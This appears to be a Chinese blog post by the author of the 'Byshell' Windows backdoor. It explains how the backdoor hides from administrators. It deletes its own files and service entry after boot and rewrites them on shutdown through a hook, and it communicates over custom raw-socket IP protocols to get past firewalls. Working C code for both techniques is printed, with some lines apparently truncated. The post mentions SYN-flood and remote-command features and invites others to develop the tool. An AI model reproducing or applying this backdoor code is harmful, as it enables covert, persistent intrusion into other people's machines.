无进程无DLL无硬盘文件

 下一个问题是启动项和文件。Ntboot.exe是后门的注射器,将自己作为 服务启动,我们决不能让管理员发现 服务键值。怎么办?这个也是农民前辈提出的思想:先删除所有后门文件和 服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写入文件和 服务项。同样的,一开机这个 服务只要启动了就会先把自己删除。这样就实现了无文件和无启动项。管理员用注册表对比将不能发现异常,也无处寻找我们的后门文件。看一下设定一个关机通知和一个一键关机钩子的代码:

DWORD WINAPI hookthread( LPVOID lpParam ){
MSG msg;int tmpret;char tmpstr[100];
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
if(!msghook)
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1);
if(!tmpret)
while (GetMessage(&msg, NULL, 0, 0)){void resume();
if(msg.message==WM_QUERYENDSESSION)
}
UnhookWindowsHookEx(msghook);
return 0;
}

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
switch(dwCtrlType)
{
case CTRL_SHUTDOWN_EVENT:
resume();//resume函数,顾名思义就是恢复文件启动项
break;
default:
break;
}
return 0;
}

LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
 EVENTMSG * pevent=(EVENTMSG *)lParam;
 if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF)
}
return CallNextHookEx(msghook,code,wParam,lParam);
}

    与Hxdef的Hook文件注册表的Native API相比,这种办法的好处是根本就不存在文件,也不会有什么Ring0的Rootkit Detector发现被Hook API隐藏的文件和注册表项。坏处是如果对方直接拔电源关机我们就“安息”了。于是我们就会安慰自己说:这个后门有足够的隐蔽性,不会让对方怀疑到中了后门,以至于采用掉电关机的BT手段。当然如果你用Hxdef,那么相信我,现在的Rootkit Detector很普遍,Hxdef已经成为众矢之的了,在管理员检查时也会“安息”得很快的。
    最后是怎样实现无端口(像用Rootkit隐藏掉端口那种不叫无端口。那种东西不但无法穿过防火墙还会在管理员扫描自己的机器时暴露),这是Byshell v0.64的弱项,Ring3后门本来难有什么好办法来进行端口复用,使用Raw_socket监听TCP只能做到Bits.dll那样的“等待连接时无端口”;把自己加载成SPI基础服务提供者或者分层服务提供者,可以截获所有Ring3网络通讯,但会在注册表和系统中留下足够多的信息从而导致我们后门“安息”。Hxdef的Hook系统中所有进程的Recv/WSArecv方法虽然有不能复用Ring0端口如139,445的弊端,但还是现在看来比较好的Ring3端口复用的办法。到现在为止,Byshell采取的方法是使用Socket_raw的自定义协议,就是非TCP非UDP协议进行通讯,可以穿越大多软件防火墙和一些硬件防火墙,但是它的弊端是不保证穿过所有防火墙,并且不支持Windows XP SP2,因为后者取消了对Socket_raw的支持。我的实现比较简单,就是用一个协议号224监听连接和刷新,另一个协议号225传输后门数据,很简单:
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2),&WSAData);
SOCKET sock224=socket(AF_INET,SOCK_RAW,224);
sockaddr_in srvaddr;
memset(&srvaddr,0,sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY;
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));
if(ret){goto label2;}
dwThreadId=0;char buff224[128];
DWORD WINAPI threadfunc( LPVOID lpParam );
HANDLE thrdhndl;
//建立225的连接线程
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId);
//等待刷新
while(1){recvfrom(sock224,buff224,128,0,0,0);
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$#@!~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){
 TerminateThread(thrdhndl,0);goto label1;}
}
    在225的代码里我实现了简单的差错控制,代码比较长这里不列举了,有兴趣的朋友请看源代码。由于这个复用方法不是非常可靠、稳定,所以我公布了Byshell v0.63,它直接开了一个TCP端口138,完全不符合后门要求,但是给大家用来作测试还是可以的。如果大家发现Byshell v0.64不是很稳定可以试试v0.63。不过一个严重的失误是我在Byshell v0.64的说明书里漏了一个命令“refresh”,它可以清除万一出现的225连接死掉,并且给你机会重新连接。
    最后就是Byshell实现了非常多的命令,比如查看系统信息、执行命令、在后门连接中上传下载,甚至还有SYN洪水攻击。后门的功能模块是Work()函数,这样便于进行功能拓展和模块化编程。针对它端口复用不理想的现状,我会继续升级。以后可能写成Hxdef那样的Ring3复用,也可能是Ring0的过滤驱动之类的东西,也希望前辈们继续指导我。
我的代码风格并不好,喜欢不分行和紧凑代码,不过还是希望大家一起来开发这个软件。在这个后门的写作中,3个人给了我很大的帮助,请允许我占用篇幅来表示对他们的感谢。他们是谷夕(gxisone),黄鑫(glacier),当然还有农民,这个后门应该是他们的功劳。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值